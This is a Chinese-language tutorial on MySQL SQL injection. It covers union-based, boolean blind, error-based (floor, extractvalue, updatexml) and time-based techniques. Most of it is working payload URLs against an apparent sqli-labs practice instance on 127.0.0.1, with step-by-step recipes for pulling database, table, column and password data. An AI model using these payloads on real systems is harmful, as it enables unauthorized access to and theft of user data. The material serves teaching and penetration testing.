目录
1、Boolean盲注(Boolean-based blind SQL injection)
1.3.1 判断当前数据库名(以下方法不适用于access和SQL Server数据库)
2.4 SQL注入之Mysql注入姿势及绕过总结 - 先知社区
前言:
数据库漏洞一直处于OWASP前几名,虽然在2021年滑到第三,漏洞的危害是不言而喻的,数据库可以分为两种:
- 关系型数据库:
关系型数据库,存储的格式可以直观地反映实体间的关系。关系型数据库和常见的表格比较相似, 关系型数据库中表与表之间是有很多复杂的关联关系的。 常见的关系型数据库有 MySQL,Oracle, PostgreSQL,SQL Server等。
- 非关系型数据库:
随着技术的发展,大量NoSQL数据库如Redis、MongoDB和Memcached处于简化数据库结构、影响性能的表连接、摒弃复杂分布式的目的被设计。NoSQL数据库适合追求速度和可扩展性、业务多变的应用场景
(一)Mysql基础知识
1、网站架构LAMP
介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例
- 根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源,静态资源我们平时说的"前台"信息,,包括HTML/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成.
- 但是对于很多网站来说,大量的数据被存储在Mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助"后端脚本"(当然这里是统称,也可以说是后端语言)的力量了.
- 常见的后端语言就是asp/aspx/php/jsp等,这些语言我们可以理解为web服务器和mysql之间的桥梁.
- 对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等.
2、sql注入的原理
首先我们要明白SQLi是发生在红色部分,大多数靶场为了方便演示在前端页面进行注入,但是我们要理解只要有SQL语句进入AWS General Database就存在SQL注入漏洞,下面我们用代码进行分析:
sqlStr: = SELECT *From t1 Where name='s';
当我们正常传入jinyouxin时,没有问题,从t1表中查询到jinyouxin的所有数据
但是当我们输入 jinyouxin' or 1=1 --+
1=1恒成立,也就是select * from t1 所有数据都查出来了。
总结SQL定义:
对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
举个栗子:
首先要熟悉HTTP访问,知道数据包发送到服务器处理之后,返回了什么数据,可以用BP抓包具体分析理解,可以看HTTP详细介绍_nj_technology的博客-CSDN博客点这里我之前写的。
我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询,正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1,这里,id=1是正常的参数,这里我们要明白这里的id=值会在后端语言进行拼接,但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入?id=1' and select database() --+ (#,--+是注释)。
显然select database()就是非法语句,这样漏洞就发生了,简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.
3、sql注入的危害
- 暴露了数据库里的用户信息;
- 获取后台管理员账号和密码,达到进一步渗透的目的;
- 一些mysql运行权限过高,可以直接提权成功;
- 造成整个数据库被"脱库"等.
4、MySQL中的常用函数
4.1 有关常用函数介绍
- version(): 查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():系统用户名
- session_user():连接数据库的用户名
- current_user:当前用户名
- load_file():读取本地文件
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- @@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97
length(str) : 返回给定字符串的长度,如 length(“string”)=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=”in”
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’*‘,str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 5:查询前5个 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数
也可以 limit 1 offset 0
4.2 MySQL中的默认表和作用
在mysql5.0以后,必须要烂熟于心的库
- Information_schema:提供了所有数据库中的元数据,存储了整个mysql中所有库/表/列
- Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库服务权限的信息。
- Performance_schema:要用于收集数据库服务器性能参数,内存数据库,数据放在内存中直接操作的数据库
- sys:通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据
4.3 MySQL中必须要知道的表
在Information_schema库里面包含要的表:
SCHEMATA表:
存储了数据库中所有数据库的信息,存储字段是schema_name
TABLES表:
存储了数据库所有表的信息,字段:table_schema,table_name
COLUMNS表:
存储了数据库中所有列的信息,字段table_schema,table_name,column_name
user_privileges:
用户权限信息
4.4 必会基本查询语句
// 通过这条语句可以得到第一个的数据库名
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
4.5 mysql中的注释风格(以下方式都可以)
- # (url编码为%23)
- -- (--后边要跟上一个或多个空格)
- /* ..... */
- /*! .... */ 内联注释
- select * /*!22222from*/ users; #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.
(二)SQL注入的分类
1、依据注入点类型分类
- 数字类型的注入
- 字符串类型的注入
- 搜索型注入
2、依据提交方式分类
- GET注入
- POST注入
- COOKIE注入
- HTTP头注入(XFF注入、UA注入、REFERER注入)
3、依据获取信息的方式分类
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
- 堆查询注入 (可同时执行多条语句)
4、读取数据的角度
- 高权限注入
- 文件读写
(三)判断是否存在SQL注入
一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站自动化漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus
1、手动注入
- 二话不说,先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
- 还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
- 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的,Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
数据库类型 | 时间注入方式 |
MySQL |
benchmark(100000000,md(5))sleep(3) |
PostgreSQL | PG_sleep(5)Generate_series(1,10000000) |
SQLServer | waitfor delay ‘0:0:5’ |
易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
2、union注入
2.1 什么是union注入
联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入,显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.
2个特性:
- 前面查询的语句 和 后面的查询语句 结果互不干扰!
- 前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致
2.2 联合查询一般步骤
- 先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入;
我们可以先输入一个',或者输入and 1=1 如果页面返回错误,则存在SQL注入。原因:单引号个数不匹配,紧接着我们就要找是怎么闭合的,
先看后端代码,对于数字型GET提交,
我们在看一下sql语句
我们正常注入语句时
如果后端id数据类型是int,你输入的内容会被转义成int,varchar就不会有这样的情况,and 1=1为真说明这条语句已经执行,并且为字符型。
and 1=2为假,不再显示页面。
- 判断列数
order by 用来对表里的数据进行排序,order by 1 表示按照第一列进行排序.依次类推,直到报错。
- 找到显示位
id=-1的目的是不想找到数据库多余的数据,我们以真实的系统来举例:我们查到Gift数据,但是对渗透没有什么用,我们想得到的是各个字段会不会把我们传入1,2,3,4回显到前端页面,显然2,3字段是有回显的。
这里的1,就是'分类'没有的,肯定为错的
这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。
我们可以通过这些函数获得该数据库的一些重要的信息
version() :数据库的版本
database() :当前所在的数据库
@@basedir : 数据库的安装目录
@@datadir : 数据库文件的存放目录
user() : 数据库的用户
current_user() : 当前用户名
system_user() : 系统用户名
session_user() :连接到数据库的用户名
- 获取库名
获取库名的目的就是获取表名,熟悉了步骤的话直接跳过
- 获取表名
%27和%20是URL编码,在information_schema.table里面找表名,并且在当前数据库。
为什么我们想得到一个表,现在给我返回一个表名,这是因为这里我们只可以查询一个id值,即limit 0,1,想让所有表名拼接请来需要group_concat()函数,如下图:
- 获取列名
同上,我们获取的表名也可以过滤不重要的信息。
- 获取字段信息
或者这样,0x3a是符号法。
(四)盲注
1、Boolean盲注(Boolean-based blind SQL injection)
有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入,Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
举个栗子:
- 返回False时:
- 返回True时:
于是我们可以推断出后端代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){ //如果查询到数据
echo 'You are in...........';
}else{ //如果没查询到数据
print_r(mysql_error());
}
于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii()、substr() 、length(),exists()、concat()......当然,几个函数可以搭配使用
1.1 判断数据库类型
这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。
- MySQL数据库的特有的表是 information_schema.tables
- access数据库特有的表是 msysobjects
- SQLServer 数据库特有的表是 sysobjects
- oracle数据库特有的表是 dual。
那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-1/?id=1' and (select count(*) from dual)>0 #
对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件
information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节)
1.2 注入流程
1.3 获取字段信息
select * from user where id=1 and length(user())>10; #如果user()用户长度>10,返回就正常,否则返回为空. 这个是完整的查询语句.
在GET请求栏输入
- ?id=1 and substr((select user()), 1, 1)='r’ #判断用户第一个字符是否为r
- ?id=1 and substr((select user()), 2, 1)='o' #判断用户第二个字符是否为o
- ?id=1 and ascii(“r”)=114
- ?id=1 and ascii(substr((select user()), 1, 1))>114 #判断用户第一个字符的ascii表是否大于114
1.3.1 判断当前数据库名(以下方法不适用于access和SQL Server数据库)
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
...........
由此可以判断出当前数据库为 security
1.3.2 判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
1.3.3 判断表中的字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段
1.3.4 判断字段中的数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
2、报错查询注入
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
比如说:
有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入,代码如下:
$sql = "select * from users where id = '$id'";
#没有显示位,但是查询时有报错提示信息.
$result = mysqli_query($link,$sql) or die("查询出错:".mysqli_error($link));所以报错注入的条件就是: 网站页面中必须开启了mysqli_error这个函数.
常用报错注入函数:(hr最爱问的)
2.1 floor报错注入
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞,缺一不可(我大二的时候学过SQL Server 虽然满绩点,但是像这些拼接起来有漏洞的也是第一次接触)
- rand()
这是产生随机数的函数,运行 select rand() from user时,假设rand() 产生的数为r,0<r<1,如下图一
但是当我们向它加入随机种子时,它就成为伪随机数:select rand(0) from user;即数据不再随机,变为定值,如图二
- floor()
floor(x)返回小于x的整数,
- count()
聚合函数统计出现的次数
首先是floor()报错产生的条件:
select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)
floor(rand(0)*2)它只能返回0,和1,后面的x就是别名,这里是简写,具体写应该是:floor(rand(0)*2) as x,这里的x只能用于后过滤(having、group by etc),这里最重要的是理解group by 的用法:
我们先新建一个表,再向表中插入数据,如图三
假如我们输入以下语句
select count(*),name from student group by age
我们以age进行分组,但是age=21的name有二个,这显然违背了mysql一对一的特性,所以它会直接报错,在5.7之前的版本不会报错,会随机显示其中一条数据,group_concat()会解决该问题,
我们再来分析select count(*),floor(rand(0)*2)x from user group by x
首先我们使用伪函数已经生成了固定的"随机数",这个语句会生成一个虚拟的表,如下
count(*) | x |
0 |
现在来说是个空表,第一个伪随机数产生的数据是0,表里面x没有0,于是就直接插入?实际上不是,原因是插入数据时,自动触发 group by x, 我们想要插入的x是0,但是由于自动触发group by x,导致x被替换成了1,count()加一
count(*) | x |
1 | 1 |
0和1已经用完,该1,虚拟表里面明显有1,有1的话就不用插入数据了,更新count()加一,不会再触发group by x.
count(*) | x |
2 | 1 |
下一个是0,虚拟表没有,没有的话就插入0
count(*) | x |
2 | 1 |
1 | 0 |
但是插入数据时又就自动触发group by x,所以最终是:
count(*) | x |
2 | 1 |
1 | 1 |
这样显然不对啊,x的值重复了,就会报错。但是报错的前提是数据表里面的数据要大于或等于发生报错的数据,即from information_schema.tables,比如说,刚刚我们生成了6条随机数011011,想让它报错点是0,第4位,也就是我们count(*)第3位,所以数据要大于等于3,才可以报错。
这里报错的内容显示到页面了,我们就可以利用此处得到有价值信息:
select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables
group by x
总结:
floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息.
基本格式:
select count(*),concat(/*payload*/,floor(rand(0)*2)) as x from user group by x
说明:payload可以替换为任意的查询语句.如下所示,database()还可以换成其他的数据库名/表名/列名等语句.concat是mysql中连接多个字符的函数,起到连接作用.
举例:
select count(*),concat(database(),floor(rand(0)*2)) as x from user group by x; #爆出当前库名
有的时候返回的数据较多时,要加上limit 0,1(从0开始往后试)找到有价值的表。
2.2 ExtractValue报错注入
extractvalue(XML_document,Xpath_string)
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:Xpath_string(Xpath格式的字符串)
关于xpath有爬虫经验的小伙伴应该很熟悉,相比于XML它查找网页的效率更高(多说一句,正则表达式效率更高,不过不好掌握),具体这里不展开,知道它的语法即可,输入不存在的语法它就会报错
nodename选取此节点的所有子节点
/从当前节点选取直接子节点
//从当前节点选取子孙节点
.选取当前节点
..选取当前节点的父节点
@选取属性
最简单的就是在最前面加上0x7e(十六进制的~),在用concat()函数
ps: 返回结果 限制在32位字符,我们可以使用mid函数一步步取,先30位,再去30位
1' and extractvalue(1,mid(concat(0x7e,(select password from users limit 0,1)),1,30)#
1' and extractvalue(1,mid(concat(0x7e,(select password from users limit 0,1)),30,30)#
......
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
基本格式: ?id=1 and extractvalue(1, (payload))
举例: ?id=1 and extractvalue(1, concat(0x7e,(select @@version),0x7e))
2.3 UpdateXml报错注入
UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!
updatexml(XML_document,XPath_string,new_value)
- 第一个参数:XML_document是String格式,为XML文档对象的名称
- 第二个参数:XPath_string(Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查到的符合条件的数据
作用:改变文档中符合条件的节点的值
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
2.4 SQL注入之Mysql注入姿势及绕过总结 - 先知社区
3 时间盲注
3.1 利用前提
上面二个利用的前提是有显示位和有输出 SQL 语句执行错误信息,如果二个都不满足就要用到time attack.
3.2 利用思路
思路就是正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒
3.3 延时注入基本格式
#IF(Condition,A,B)函数
#当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
3.4 举例
#(1)判断当前数据库长度
id=3' and if(length(database())>10,sleep(5),1) --+ #判断数据库长度
#(2)获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1)
#(3)判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1)
(五)
本来想一篇文章说完,后来发现太太太多了。